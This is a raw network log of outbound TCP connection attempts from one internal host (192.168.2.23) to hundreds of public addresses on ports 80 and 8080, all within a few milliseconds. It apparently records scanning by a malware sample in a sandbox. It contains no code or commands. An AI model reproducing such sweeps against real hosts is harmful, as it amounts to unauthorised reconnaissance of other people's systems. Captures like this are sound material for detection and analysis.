Mar 2, 2024 12:36:51.807828903 CET	52742	80	192.168.2.23	80.121.224.16
Mar 2, 2024 12:36:51.807830095 CET	52742	80	192.168.2.23	169.149.169.71
Mar 2, 2024 12:36:51.807835102 CET	52742	80	192.168.2.23	213.47.232.3
Mar 2, 2024 12:36:51.807835102 CET	52742	80	192.168.2.23	200.123.135.16
Mar 2, 2024 12:36:51.807835102 CET	52742	80	192.168.2.23	86.106.25.10
Mar 2, 2024 12:36:51.807835102 CET	52742	80	192.168.2.23	169.158.249.0
Mar 2, 2024 12:36:51.807835102 CET	52742	80	192.168.2.23	181.184.252.190
Mar 2, 2024 12:36:51.807842970 CET	52742	80	192.168.2.23	178.204.192.204
Mar 2, 2024 12:36:51.807842970 CET	52742	80	192.168.2.23	169.164.184.38
Mar 2, 2024 12:36:51.807843924 CET	52742	80	192.168.2.23	206.3.191.88
Mar 2, 2024 12:36:51.807847023 CET	52742	80	192.168.2.23	169.166.233.57
Mar 2, 2024 12:36:51.807847023 CET	52742	80	192.168.2.23	82.196.253.28
Mar 2, 2024 12:36:51.807848930 CET	49158	8080	192.168.2.23	184.171.105.247
Mar 2, 2024 12:36:51.807848930 CET	52742	80	192.168.2.23	80.132.190.9
Mar 2, 2024 12:36:51.807848930 CET	49158	8080	192.168.2.23	172.185.143.99
Mar 2, 2024 12:36:51.807848930 CET	49158	8080	192.168.2.23	172.138.44.248
Mar 2, 2024 12:36:51.807848930 CET	52742	80	192.168.2.23	169.63.74.32
Mar 2, 2024 12:36:51.807848930 CET	49158	8080	192.168.2.23	184.94.184.19
Mar 2, 2024 12:36:51.807848930 CET	52742	80	192.168.2.23	181.112.193.86
Mar 2, 2024 12:36:51.807848930 CET	52742	80	192.168.2.23	206.215.130.43
Mar 2, 2024 12:36:51.807853937 CET	52742	80	192.168.2.23	206.206.213.30
Mar 2, 2024 12:36:51.807864904 CET	52742	80	192.168.2.23	80.27.205.105
Mar 2, 2024 12:36:51.807866096 CET	52742	80	192.168.2.23	181.23.209.101
Mar 2, 2024 12:36:51.807872057 CET	52742	80	192.168.2.23	206.198.244.93
Mar 2, 2024 12:36:51.807874918 CET	52742	80	192.168.2.23	181.120.236.98
Mar 2, 2024 12:36:51.807874918 CET	52742	80	192.168.2.23	200.193.244.33
Mar 2, 2024 12:36:51.807874918 CET	52742	80	192.168.2.23	181.128.88.39
Mar 2, 2024 12:36:51.807874918 CET	52742	80	192.168.2.23	86.33.205.140
Mar 2, 2024 12:36:51.807887077 CET	52742	80	192.168.2.23	200.9.66.71
Mar 2, 2024 12:36:51.807889938 CET	52742	80	192.168.2.23	181.59.251.75
Mar 2, 2024 12:36:51.807889938 CET	52742	80	192.168.2.23	200.105.207.226
Mar 2, 2024 12:36:51.807889938 CET	52742	80	192.168.2.23	206.83.149.129
Mar 2, 2024 12:36:51.807889938 CET	52742	80	192.168.2.23	86.242.223.190
Mar 2, 2024 12:36:51.807889938 CET	52742	80	192.168.2.23	181.66.128.224
Mar 2, 2024 12:36:51.807889938 CET	52742	80	192.168.2.23	206.175.93.42
Mar 2, 2024 12:36:51.807889938 CET	52742	80	192.168.2.23	206.211.50.248
Mar 2, 2024 12:36:51.807889938 CET	52742	80	192.168.2.23	169.174.35.161
Mar 2, 2024 12:36:51.807893038 CET	52742	80	192.168.2.23	82.231.87.214
Mar 2, 2024 12:36:51.807898045 CET	52742	80	192.168.2.23	86.188.180.81
Mar 2, 2024 12:36:51.807898998 CET	52742	80	192.168.2.23	181.26.71.162
Mar 2, 2024 12:36:51.807905912 CET	52742	80	192.168.2.23	82.39.70.210
Mar 2, 2024 12:36:51.807905912 CET	52742	80	192.168.2.23	213.26.179.175
Mar 2, 2024 12:36:51.807908058 CET	52742	80	192.168.2.23	83.161.122.191
Mar 2, 2024 12:36:51.807923079 CET	52742	80	192.168.2.23	83.224.63.37
Mar 2, 2024 12:36:51.807929039 CET	52742	80	192.168.2.23	82.13.60.171
Mar 2, 2024 12:36:51.807929039 CET	52742	80	192.168.2.23	82.195.152.243
Mar 2, 2024 12:36:51.807929039 CET	52742	80	192.168.2.23	181.39.158.70
Mar 2, 2024 12:36:51.807929039 CET	52742	80	192.168.2.23	80.26.55.141
Mar 2, 2024 12:36:51.807930946 CET	52742	80	192.168.2.23	200.48.111.174
Mar 2, 2024 12:36:51.807929039 CET	52742	80	192.168.2.23	83.247.184.38
Mar 2, 2024 12:36:51.807929993 CET	52742	80	192.168.2.23	200.109.190.47
Mar 2, 2024 12:36:51.807943106 CET	52742	80	192.168.2.23	82.32.137.36
Mar 2, 2024 12:36:51.807944059 CET	52742	80	192.168.2.23	213.44.99.180
Mar 2, 2024 12:36:51.807944059 CET	52742	80	192.168.2.23	82.93.179.110
Mar 2, 2024 12:36:51.807955980 CET	52742	80	192.168.2.23	82.211.192.79
Mar 2, 2024 12:36:51.807955980 CET	52742	80	192.168.2.23	82.63.195.72
Mar 2, 2024 12:36:51.807971954 CET	52742	80	192.168.2.23	181.137.181.7
Mar 2, 2024 12:36:51.807977915 CET	52742	80	192.168.2.23	178.189.166.41
Mar 2, 2024 12:36:51.807977915 CET	52742	80	192.168.2.23	83.49.92.120
Mar 2, 2024 12:36:51.807980061 CET	52742	80	192.168.2.23	83.194.125.88
Mar 2, 2024 12:36:51.807982922 CET	52742	80	192.168.2.23	169.141.244.150
Mar 2, 2024 12:36:51.807982922 CET	52742	80	192.168.2.23	181.249.106.50
Mar 2, 2024 12:36:51.807987928 CET	52742	80	192.168.2.23	213.222.215.51
Mar 2, 2024 12:36:51.807987928 CET	52742	80	192.168.2.23	178.108.11.76
Mar 2, 2024 12:36:51.807991982 CET	52742	80	192.168.2.23	86.15.190.213
Mar 2, 2024 12:36:51.807996988 CET	52742	80	192.168.2.23	181.181.243.16
Mar 2, 2024 12:36:51.808002949 CET	52742	80	192.168.2.23	80.74.82.251
Mar 2, 2024 12:36:51.808006048 CET	52742	80	192.168.2.23	178.233.77.172
Mar 2, 2024 12:36:51.808007956 CET	52742	80	192.168.2.23	86.70.7.32
Mar 2, 2024 12:36:51.808007956 CET	52742	80	192.168.2.23	83.153.46.220
Mar 2, 2024 12:36:51.808010101 CET	52742	80	192.168.2.23	86.3.227.62
Mar 2, 2024 12:36:51.808010101 CET	52742	80	192.168.2.23	206.218.72.255
Mar 2, 2024 12:36:51.808012009 CET	52742	80	192.168.2.23	213.246.6.35
Mar 2, 2024 12:36:51.808018923 CET	52742	80	192.168.2.23	213.120.199.96
Mar 2, 2024 12:36:51.808028936 CET	52742	80	192.168.2.23	206.116.139.3
Mar 2, 2024 12:36:51.808028936 CET	52742	80	192.168.2.23	181.237.20.142
Mar 2, 2024 12:36:51.808037043 CET	52742	80	192.168.2.23	80.114.104.37
Mar 2, 2024 12:36:51.808037996 CET	52742	80	192.168.2.23	83.37.159.71
Mar 2, 2024 12:36:51.808051109 CET	52742	80	192.168.2.23	80.169.233.37
Mar 2, 2024 12:36:51.808053017 CET	52742	80	192.168.2.23	86.142.78.251
Mar 2, 2024 12:36:51.808053017 CET	52742	80	192.168.2.23	86.125.123.3
Mar 2, 2024 12:36:51.808053970 CET	52742	80	192.168.2.23	80.22.90.131
Mar 2, 2024 12:36:51.808068037 CET	52742	80	192.168.2.23	200.22.61.151
Mar 2, 2024 12:36:51.808073997 CET	52742	80	192.168.2.23	86.190.14.165
Mar 2, 2024 12:36:51.808078051 CET	52742	80	192.168.2.23	86.196.65.56
Mar 2, 2024 12:36:51.808078051 CET	52742	80	192.168.2.23	86.151.231.106
Mar 2, 2024 12:36:51.808078051 CET	52742	80	192.168.2.23	206.170.160.58
Mar 2, 2024 12:36:51.808083057 CET	52742	80	192.168.2.23	169.43.22.151
Mar 2, 2024 12:36:51.808095932 CET	52742	80	192.168.2.23	213.123.117.243
Mar 2, 2024 12:36:51.808098078 CET	52742	80	192.168.2.23	181.60.135.80
Mar 2, 2024 12:36:51.808101892 CET	52742	80	192.168.2.23	213.208.254.84
Mar 2, 2024 12:36:51.808101892 CET	52742	80	192.168.2.23	83.18.67.145
Mar 2, 2024 12:36:51.808105946 CET	52742	80	192.168.2.23	178.126.119.226
Mar 2, 2024 12:36:51.808114052 CET	52742	80	192.168.2.23	200.163.4.189
Mar 2, 2024 12:36:51.808196068 CET	49158	8080	192.168.2.23	98.68.75.30
Mar 2, 2024 12:36:51.808199883 CET	49158	8080	192.168.2.23	172.163.91.122
Mar 2, 2024 12:36:51.808203936 CET	49158	8080	192.168.2.23	184.216.183.153
Mar 2, 2024 12:36:51.808203936 CET	49158	8080	192.168.2.23	184.78.242.18
Mar 2, 2024 12:36:51.808212996 CET	49158	8080	192.168.2.23	172.15.45.183
Mar 2, 2024 12:36:51.808213949 CET	49158	8080	192.168.2.23	172.64.15.26
Mar 2, 2024 12:36:51.808213949 CET	49158	8080	192.168.2.23	98.121.223.108
Mar 2, 2024 12:36:51.808216095 CET	49158	8080	192.168.2.23	98.145.93.229
Mar 2, 2024 12:36:51.808232069 CET	49158	8080	192.168.2.23	184.209.147.157
Mar 2, 2024 12:36:51.808232069 CET	49158	8080	192.168.2.23	172.25.3.51
Mar 2, 2024 12:36:51.808232069 CET	49158	8080	192.168.2.23	98.203.175.139
Mar 2, 2024 12:36:51.808232069 CET	49158	8080	192.168.2.23	98.73.104.93
Mar 2, 2024 12:36:51.808239937 CET	49158	8080	192.168.2.23	184.11.90.213
Mar 2, 2024 12:36:51.808254004 CET	49158	8080	192.168.2.23	184.72.206.148
Mar 2, 2024 12:36:51.808254957 CET	49158	8080	192.168.2.23	184.86.126.207
Mar 2, 2024 12:36:51.808254957 CET	49158	8080	192.168.2.23	98.121.240.134
Mar 2, 2024 12:36:51.808279037 CET	49158	8080	192.168.2.23	172.66.234.103
Mar 2, 2024 12:36:51.808279037 CET	49158	8080	192.168.2.23	172.12.27.110
Mar 2, 2024 12:36:51.808286905 CET	49158	8080	192.168.2.23	98.205.32.208
Mar 2, 2024 12:36:51.808290958 CET	49158	8080	192.168.2.23	172.14.210.14
Mar 2, 2024 12:36:51.808304071 CET	49158	8080	192.168.2.23	184.179.114.92
Mar 2, 2024 12:36:51.808304071 CET	49158	8080	192.168.2.23	98.118.162.153
Mar 2, 2024 12:36:51.808311939 CET	49158	8080	192.168.2.23	184.101.250.155
Mar 2, 2024 12:36:51.808311939 CET	49158	8080	192.168.2.23	184.219.117.48
Mar 2, 2024 12:36:51.808322906 CET	49158	8080	192.168.2.23	184.65.218.197
Mar 2, 2024 12:36:51.808335066 CET	49158	8080	192.168.2.23	172.171.136.107
Mar 2, 2024 12:36:51.808337927 CET	49158	8080	192.168.2.23	98.145.140.237
Mar 2, 2024 12:36:51.808337927 CET	49158	8080	192.168.2.23	184.112.212.202
Mar 2, 2024 12:36:51.808342934 CET	49158	8080	192.168.2.23	172.165.231.229
Mar 2, 2024 12:36:51.808342934 CET	49158	8080	192.168.2.23	172.101.213.233
Mar 2, 2024 12:36:51.808357954 CET	49158	8080	192.168.2.23	172.179.81.31
Mar 2, 2024 12:36:51.808358908 CET	49158	8080	192.168.2.23	172.197.37.174
Mar 2, 2024 12:36:51.808360100 CET	49158	8080	192.168.2.23	98.233.218.249
Mar 2, 2024 12:36:51.808358908 CET	49158	8080	192.168.2.23	172.120.253.35
Mar 2, 2024 12:36:51.808358908 CET	49158	8080	192.168.2.23	172.140.133.85
Mar 2, 2024 12:36:51.808361053 CET	49158	8080	192.168.2.23	98.92.1.96
Mar 2, 2024 12:36:51.808370113 CET	49158	8080	192.168.2.23	184.97.248.80
Mar 2, 2024 12:36:51.808377981 CET	49158	8080	192.168.2.23	184.20.233.241
Mar 2, 2024 12:36:51.808379889 CET	49158	8080	192.168.2.23	98.71.216.39
Mar 2, 2024 12:36:51.808384895 CET	49158	8080	192.168.2.23	98.11.82.54
Mar 2, 2024 12:36:51.808397055 CET	49158	8080	192.168.2.23	172.99.179.126
Mar 2, 2024 12:36:51.808397055 CET	49158	8080	192.168.2.23	184.153.100.225
Mar 2, 2024 12:36:51.808408976 CET	49158	8080	192.168.2.23	172.228.79.52
Mar 2, 2024 12:36:51.808418989 CET	49158	8080	192.168.2.23	172.216.113.212
Mar 2, 2024 12:36:51.808439016 CET	49158	8080	192.168.2.23	98.165.55.62
Mar 2, 2024 12:36:51.808443069 CET	49158	8080	192.168.2.23	184.46.190.189
Mar 2, 2024 12:36:51.808444023 CET	49158	8080	192.168.2.23	184.49.180.10
Mar 2, 2024 12:36:51.808443069 CET	49158	8080	192.168.2.23	172.236.134.28
Mar 2, 2024 12:36:51.808444977 CET	49158	8080	192.168.2.23	172.87.55.71
Mar 2, 2024 12:36:51.808454990 CET	49158	8080	192.168.2.23	172.23.105.91
Mar 2, 2024 12:36:51.808463097 CET	49158	8080	192.168.2.23	98.109.25.124
Mar 2, 2024 12:36:51.808464050 CET	49158	8080	192.168.2.23	98.91.161.130
Mar 2, 2024 12:36:51.808464050 CET	49158	8080	192.168.2.23	184.212.113.202
Mar 2, 2024 12:36:51.808475971 CET	49158	8080	192.168.2.23	98.152.87.253
Mar 2, 2024 12:36:51.808475971 CET	49158	8080	192.168.2.23	172.38.200.79
Mar 2, 2024 12:36:51.808494091 CET	49158	8080	192.168.2.23	184.252.159.94
Mar 2, 2024 12:36:51.808511019 CET	49158	8080	192.168.2.23	98.149.7.65
Mar 2, 2024 12:36:51.808511019 CET	49158	8080	192.168.2.23	98.141.195.147
Mar 2, 2024 12:36:51.808517933 CET	49158	8080	192.168.2.23	184.11.2.221
Mar 2, 2024 12:36:51.808517933 CET	49158	8080	192.168.2.23	184.114.4.240
Mar 2, 2024 12:36:51.808525085 CET	49158	8080	192.168.2.23	172.189.20.54
Mar 2, 2024 12:36:51.808536053 CET	49158	8080	192.168.2.23	184.248.226.27
Mar 2, 2024 12:36:51.808545113 CET	49158	8080	192.168.2.23	184.180.167.73
Mar 2, 2024 12:36:51.808543921 CET	49158	8080	192.168.2.23	184.229.151.243
Mar 2, 2024 12:36:51.808545113 CET	49158	8080	192.168.2.23	172.234.135.237
Mar 2, 2024 12:36:51.808548927 CET	49158	8080	192.168.2.23	98.161.212.233
Mar 2, 2024 12:36:51.808554888 CET	49158	8080	192.168.2.23	98.255.108.112
Mar 2, 2024 12:36:51.808557034 CET	49158	8080	192.168.2.23	98.41.59.155
Mar 2, 2024 12:36:51.808559895 CET	49158	8080	192.168.2.23	172.53.138.20
Mar 2, 2024 12:36:51.808561087 CET	49158	8080	192.168.2.23	184.238.117.67
Mar 2, 2024 12:36:51.808564901 CET	49158	8080	192.168.2.23	184.36.200.15
Mar 2, 2024 12:36:51.808564901 CET	49158	8080	192.168.2.23	98.232.140.50
Mar 2, 2024 12:36:51.808567047 CET	49158	8080	192.168.2.23	172.179.41.255
Mar 2, 2024 12:36:51.808573008 CET	49158	8080	192.168.2.23	98.229.58.244
Mar 2, 2024 12:36:51.808578014 CET	49158	8080	192.168.2.23	172.20.221.72
Mar 2, 2024 12:36:51.808578968 CET	49158	8080	192.168.2.23	184.42.34.83
Mar 2, 2024 12:36:51.808578968 CET	49158	8080	192.168.2.23	184.231.235.21
Mar 2, 2024 12:36:51.808578014 CET	49158	8080	192.168.2.23	184.189.134.65
Mar 2, 2024 12:36:51.808592081 CET	49158	8080	192.168.2.23	98.9.18.252
Mar 2, 2024 12:36:51.808595896 CET	49158	8080	192.168.2.23	184.206.102.10
Mar 2, 2024 12:36:51.808599949 CET	49158	8080	192.168.2.23	98.185.32.124
Mar 2, 2024 12:36:51.808604956 CET	49158	8080	192.168.2.23	184.234.128.82
Mar 2, 2024 12:36:51.808604956 CET	49158	8080	192.168.2.23	184.21.148.131
Mar 2, 2024 12:36:51.808604956 CET	49158	8080	192.168.2.23	184.241.251.126
Mar 2, 2024 12:36:51.808604956 CET	49158	8080	192.168.2.23	184.59.223.47
Mar 2, 2024 12:36:51.808620930 CET	49158	8080	192.168.2.23	184.45.183.251
Mar 2, 2024 12:36:51.808623075 CET	49158	8080	192.168.2.23	172.1.168.79
Mar 2, 2024 12:36:51.808623075 CET	49158	8080	192.168.2.23	172.193.173.129
Mar 2, 2024 12:36:51.808624029 CET	49158	8080	192.168.2.23	98.51.182.187
Mar 2, 2024 12:36:51.808624029 CET	49158	8080	192.168.2.23	184.97.141.78
Mar 2, 2024 12:36:51.808624029 CET	49158	8080	192.168.2.23	184.179.224.178
Mar 2, 2024 12:36:51.808654070 CET	49158	8080	192.168.2.23	172.143.207.208
Mar 2, 2024 12:36:51.808654070 CET	49158	8080	192.168.2.23	172.205.90.59
Mar 2, 2024 12:36:51.808655977 CET	49158	8080	192.168.2.23	98.97.38.248
Mar 2, 2024 12:36:51.808660030 CET	49158	8080	192.168.2.23	172.118.59.45
Mar 2, 2024 12:36:51.808660030 CET	49158	8080	192.168.2.23	184.60.102.121
Mar 2, 2024 12:36:51.808666945 CET	49158	8080	192.168.2.23	98.80.155.41
Mar 2, 2024 12:36:51.808677912 CET	49158	8080	192.168.2.23	98.121.123.128
Mar 2, 2024 12:36:51.808677912 CET	49158	8080	192.168.2.23	184.81.236.1
Mar 2, 2024 12:36:51.808677912 CET	49158	8080	192.168.2.23	184.210.92.186
Mar 2, 2024 12:36:51.808677912 CET	49158	8080	192.168.2.23	184.171.64.9
Mar 2, 2024 12:36:51.808686972 CET	49158	8080	192.168.2.23	172.96.124.56
Mar 2, 2024 12:36:51.808689117 CET	49158	8080	192.168.2.23	172.236.30.250
Mar 2, 2024 12:36:51.808693886 CET	49158	8080	192.168.2.23	98.125.248.184
Mar 2, 2024 12:36:51.808695078 CET	49158	8080	192.168.2.23	98.205.131.188
Mar 2, 2024 12:36:51.808695078 CET	49158	8080	192.168.2.23	98.102.213.208
Mar 2, 2024 12:36:51.808696032 CET	49158	8080	192.168.2.23	184.158.30.119
Mar 2, 2024 12:36:51.808698893 CET	49158	8080	192.168.2.23	98.57.197.115
Mar 2, 2024 12:36:51.808715105 CET	49158	8080	192.168.2.23	98.40.0.104
Mar 2, 2024 12:36:51.808732986 CET	49158	8080	192.168.2.23	98.137.9.213
Mar 2, 2024 12:36:51.808733940 CET	49158	8080	192.168.2.23	98.16.45.42
Mar 2, 2024 12:36:51.808733940 CET	49158	8080	192.168.2.23	184.92.99.15
Mar 2, 2024 12:36:51.808733940 CET	49158	8080	192.168.2.23	184.121.65.5
Mar 2, 2024 12:36:51.808763027 CET	49158	8080	192.168.2.23	172.33.11.232
Mar 2, 2024 12:36:51.808763027 CET	49158	8080	192.168.2.23	172.8.229.202
Mar 2, 2024 12:36:51.808768034 CET	49158	8080	192.168.2.23	98.171.110.229
Mar 2, 2024 12:36:51.808768034 CET	49158	8080	192.168.2.23	98.40.113.65
Mar 2, 2024 12:36:51.808768034 CET	49158	8080	192.168.2.23	184.195.171.2
Mar 2, 2024 12:36:51.808770895 CET	49158	8080	192.168.2.23	98.73.3.91
Mar 2, 2024 12:36:51.808770895 CET	49158	8080	192.168.2.23	98.174.119.198
Mar 2, 2024 12:36:51.808770895 CET	49158	8080	192.168.2.23	184.141.137.153
Mar 2, 2024 12:36:51.808773041 CET	49158	8080	192.168.2.23	184.60.149.242
Mar 2, 2024 12:36:51.808773041 CET	49158	8080	192.168.2.23	98.228.74.113
Mar 2, 2024 12:36:51.808784008 CET	49158	8080	192.168.2.23	172.231.177.147
Mar 2, 2024 12:36:51.808785915 CET	49158	8080	192.168.2.23	98.140.219.149
Mar 2, 2024 12:36:51.808785915 CET	49158	8080	192.168.2.23	172.205.151.37
Mar 2, 2024 12:36:51.808785915 CET	49158	8080	192.168.2.23	98.213.131.75
Mar 2, 2024 12:36:51.808790922 CET	49158	8080	192.168.2.23	172.144.78.39
Mar 2, 2024 12:36:51.808794975 CET	49158	8080	192.168.2.23	172.227.33.111
Mar 2, 2024 12:36:51.808794975 CET	49158	8080	192.168.2.23	172.137.3.39
Mar 2, 2024 12:36:51.808794975 CET	49158	8080	192.168.2.23	98.126.239.216
Mar 2, 2024 12:36:51.808794975 CET	49158	8080	192.168.2.23	184.246.37.104
Mar 2, 2024 12:36:51.808794975 CET	49158	8080	192.168.2.23	98.232.149.253
Mar 2, 2024 12:36:51.808794975 CET	49158	8080	192.168.2.23	172.82.185.251
Mar 2, 2024 12:36:51.808794975 CET	49158	8080	192.168.2.23	172.84.183.219
Mar 2, 2024 12:36:51.808794975 CET	49158	8080	192.168.2.23	172.27.94.173
Mar 2, 2024 12:36:51.808794975 CET	49158	8080	192.168.2.23	172.78.56.115
Mar 2, 2024 12:36:51.808814049 CET	49158	8080	192.168.2.23	172.117.57.205
Mar 2, 2024 12:36:51.808820009 CET	49158	8080	192.168.2.23	98.76.117.160
Mar 2, 2024 12:36:51.808820009 CET	49158	8080	192.168.2.23	98.254.220.168
Mar 2, 2024 12:36:51.808820009 CET	49158	8080	192.168.2.23	98.70.150.199
Mar 2, 2024 12:36:51.808820009 CET	49158	8080	192.168.2.23	184.183.96.21
Mar 2, 2024 12:36:51.808823109 CET	49158	8080	192.168.2.23	172.168.86.119
Mar 2, 2024 12:36:51.808825016 CET	49158	8080	192.168.2.23	172.45.250.205
Mar 2, 2024 12:36:51.808825016 CET	49158	8080	192.168.2.23	172.172.130.213
Mar 2, 2024 12:36:51.808826923 CET	49158	8080	192.168.2.23	184.115.75.155
Mar 2, 2024 12:36:51.808856964 CET	49158	8080	192.168.2.23	172.241.161.69
Mar 2, 2024 12:36:51.808866024 CET	49158	8080	192.168.2.23	172.163.226.9
Mar 2, 2024 12:36:51.808875084 CET	49158	8080	192.168.2.23	184.190.182.14
Mar 2, 2024 12:36:51.808875084 CET	49158	8080	192.168.2.23	184.81.188.135
Mar 2, 2024 12:36:51.808876038 CET	49158	8080	192.168.2.23	184.253.98.250
Mar 2, 2024 12:36:51.808876038 CET	49158	8080	192.168.2.23	98.188.98.230
Mar 2, 2024 12:36:51.808878899 CET	49158	8080	192.168.2.23	98.19.60.212
Mar 2, 2024 12:36:51.808882952 CET	49158	8080	192.168.2.23	98.182.149.7
Mar 2, 2024 12:36:51.808883905 CET	49158	8080	192.168.2.23	172.160.3.201
Mar 2, 2024 12:36:51.808890104 CET	49158	8080	192.168.2.23	184.162.41.75
Mar 2, 2024 12:36:51.808902979 CET	49158	8080	192.168.2.23	184.145.173.0
Mar 2, 2024 12:36:51.808912039 CET	49158	8080	192.168.2.23	172.187.16.127
Mar 2, 2024 12:36:51.808921099 CET	49158	8080	192.168.2.23	98.192.8.241
Mar 2, 2024 12:36:51.808921099 CET	49158	8080	192.168.2.23	172.44.255.171
Mar 2, 2024 12:36:51.808923006 CET	49158	8080	192.168.2.23	184.84.99.22
Mar 2, 2024 12:36:51.808952093 CET	49158	8080	192.168.2.23	98.152.236.0
Mar 2, 2024 12:36:51.808952093 CET	49158	8080	192.168.2.23	98.121.153.198
Mar 2, 2024 12:36:51.808958054 CET	49158	8080	192.168.2.23	172.92.109.53
Mar 2, 2024 12:36:51.808962107 CET	49158	8080	192.168.2.23	172.103.255.179
Mar 2, 2024 12:36:51.808962107 CET	49158	8080	192.168.2.23	98.37.134.125
Mar 2, 2024 12:36:51.808963060 CET	49158	8080	192.168.2.23	184.247.206.91
Mar 2, 2024 12:36:51.808962107 CET	49158	8080	192.168.2.23	184.104.217.178
Mar 2, 2024 12:36:51.808962107 CET	49158	8080	192.168.2.23	172.75.134.157
Mar 2, 2024 12:36:51.808973074 CET	49158	8080	192.168.2.23	172.18.162.75
Mar 2, 2024 12:36:51.808974028 CET	49158	8080	192.168.2.23	184.137.79.21
Mar 2, 2024 12:36:51.808979988 CET	49158	8080	192.168.2.23	172.2.243.223
Mar 2, 2024 12:36:51.808985949 CET	49158	8080	192.168.2.23	184.113.197.227
Mar 2, 2024 12:36:51.809007883 CET	49158	8080	192.168.2.23	184.165.110.18
Mar 2, 2024 12:36:51.809007883 CET	49158	8080	192.168.2.23	98.170.133.247
Mar 2, 2024 12:36:51.809009075 CET	49158	8080	192.168.2.23	184.119.24.32
Mar 2, 2024 12:36:51.809009075 CET	49158	8080	192.168.2.23	98.135.173.172
Mar 2, 2024 12:36:51.809009075 CET	49158	8080	192.168.2.23	184.91.94.240
Mar 2, 2024 12:36:51.809011936 CET	49158	8080	192.168.2.23	184.195.12.184
Mar 2, 2024 12:36:51.809015036 CET	49158	8080	192.168.2.23	172.115.168.50
Mar 2, 2024 12:36:51.809031963 CET	49158	8080	192.168.2.23	98.20.139.236
Mar 2, 2024 12:36:51.809031963 CET	49926	80	192.168.2.23	178.202.107.32
Mar 2, 2024 12:36:51.809032917 CET	49158	8080	192.168.2.23	98.58.228.51
Mar 2, 2024 12:36:51.809036016 CET	49158	8080	192.168.2.23	184.219.206.136
Mar 2, 2024 12:36:51.809036016 CET	49158	8080	192.168.2.23	184.158.87.237
Mar 2, 2024 12:36:51.809036016 CET	49926	80	192.168.2.23	178.83.22.32
Mar 2, 2024 12:36:51.809039116 CET	49158	8080	192.168.2.23	172.216.123.39
Mar 2, 2024 12:36:51.809051037 CET	49926	80	192.168.2.23	178.217.137.35
Mar 2, 2024 12:36:51.809056997 CET	49158	8080	192.168.2.23	172.104.65.251
Mar 2, 2024 12:36:51.809056997 CET	49158	8080	192.168.2.23	184.88.205.45
Mar 2, 2024 12:36:51.809056997 CET	49158	8080	192.168.2.23	184.253.186.159
Mar 2, 2024 12:36:51.809057951 CET	49926	80	192.168.2.23	178.138.29.33
Mar 2, 2024 12:36:51.809062004 CET	49158	8080	192.168.2.23	172.153.250.29
Mar 2, 2024 12:36:51.809062004 CET	49926	80	192.168.2.23	178.7.161.3
Mar 2, 2024 12:36:51.809062004 CET	49926	80	192.168.2.23	178.113.94.155
Mar 2, 2024 12:36:51.809062004 CET	49158	8080	192.168.2.23	98.227.11.0
Mar 2, 2024 12:36:51.809062004 CET	49926	80	192.168.2.23	178.45.238.117
Mar 2, 2024 12:36:51.809062958 CET	49158	8080	192.168.2.23	184.95.194.30
Mar 2, 2024 12:36:51.809066057 CET	49158	8080	192.168.2.23	184.67.38.170
Mar 2, 2024 12:36:51.809068918 CET	49158	8080	192.168.2.23	184.202.65.67
Mar 2, 2024 12:36:51.809070110 CET	49158	8080	192.168.2.23	184.11.82.60
Mar 2, 2024 12:36:51.809072971 CET	49926	80	192.168.2.23	178.154.177.174
Mar 2, 2024 12:36:51.809072971 CET	49926	80	192.168.2.23	178.223.164.185
Mar 2, 2024 12:36:51.809081078 CET	49926	80	192.168.2.23	178.129.112.69
Mar 2, 2024 12:36:51.809092045 CET	49158	8080	192.168.2.23	172.187.226.8
Mar 2, 2024 12:36:51.809097052 CET	49158	8080	192.168.2.23	98.197.160.46
Mar 2, 2024 12:36:51.809097052 CET	49926	80	192.168.2.23	178.229.152.117
Mar 2, 2024 12:36:51.809098005 CET	49158	8080	192.168.2.23	184.137.35.160
Mar 2, 2024 12:36:51.809098005 CET	49158	8080	192.168.2.23	172.195.156.146
Mar 2, 2024 12:36:51.809098005 CET	49926	80	192.168.2.23	178.9.60.228
Mar 2, 2024 12:36:51.809099913 CET	49926	80	192.168.2.23	178.197.249.229
Mar 2, 2024 12:36:51.809099913 CET	49158	8080	192.168.2.23	184.50.118.135
Mar 2, 2024 12:36:51.809104919 CET	49158	8080	192.168.2.23	172.61.152.143
Mar 2, 2024 12:36:51.809104919 CET	49158	8080	192.168.2.23	184.193.115.192
Mar 2, 2024 12:36:51.809108019 CET	49158	8080	192.168.2.23	98.64.47.146
Mar 2, 2024 12:36:51.809108019 CET	49158	8080	192.168.2.23	172.102.43.50
Mar 2, 2024 12:36:51.809115887 CET	49158	8080	192.168.2.23	98.24.154.239
Mar 2, 2024 12:36:51.809124947 CET	49926	80	192.168.2.23	178.206.70.116
Mar 2, 2024 12:36:51.809124947 CET	49926	80	192.168.2.23	178.190.63.163
Mar 2, 2024 12:36:51.809129000 CET	49158	8080	192.168.2.23	98.47.166.10
Mar 2, 2024 12:36:51.809129000 CET	49158	8080	192.168.2.23	172.117.121.231
Mar 2, 2024 12:36:51.809129953 CET	49158	8080	192.168.2.23	98.4.7.175
Mar 2, 2024 12:36:51.809139013 CET	49158	8080	192.168.2.23	184.190.163.125
Mar 2, 2024 12:36:51.809143066 CET	49158	8080	192.168.2.23	98.240.202.187
Mar 2, 2024 12:36:51.809143066 CET	49158	8080	192.168.2.23	184.112.13.24
Mar 2, 2024 12:36:51.809143066 CET	49926	80	192.168.2.23	178.182.149.102
Mar 2, 2024 12:36:51.809154034 CET	49926	80	192.168.2.23	178.109.16.12
Mar 2, 2024 12:36:51.809154034 CET	49926	80	192.168.2.23	178.160.140.133
Mar 2, 2024 12:36:51.809154034 CET	49926	80	192.168.2.23	178.79.197.148
Mar 2, 2024 12:36:51.809154987 CET	49158	8080	192.168.2.23	184.64.241.149
Mar 2, 2024 12:36:51.809159040 CET	49926	80	192.168.2.23	178.87.141.11
Mar 2, 2024 12:36:51.809159040 CET	49926	80	192.168.2.23	178.230.7.160
Mar 2, 2024 12:36:51.809159040 CET	49158	8080	192.168.2.23	172.121.202.34
Mar 2, 2024 12:36:51.809180021 CET	49158	8080	192.168.2.23	184.210.187.30
Mar 2, 2024 12:36:51.809180021 CET	49158	8080	192.168.2.23	98.1.88.210
Mar 2, 2024 12:36:51.809187889 CET	49158	8080	192.168.2.23	98.252.181.49
Mar 2, 2024 12:36:51.809189081 CET	49158	8080	192.168.2.23	172.116.164.99
Mar 2, 2024 12:36:51.809189081 CET	49926	80	192.168.2.23	178.56.57.219
Mar 2, 2024 12:36:51.809190035 CET	49158	8080	192.168.2.23	184.40.131.245
Mar 2, 2024 12:36:51.809190989 CET	49926	80	192.168.2.23	178.76.30.131
Mar 2, 2024 12:36:51.809190989 CET	49926	80	192.168.2.23	178.3.116.98
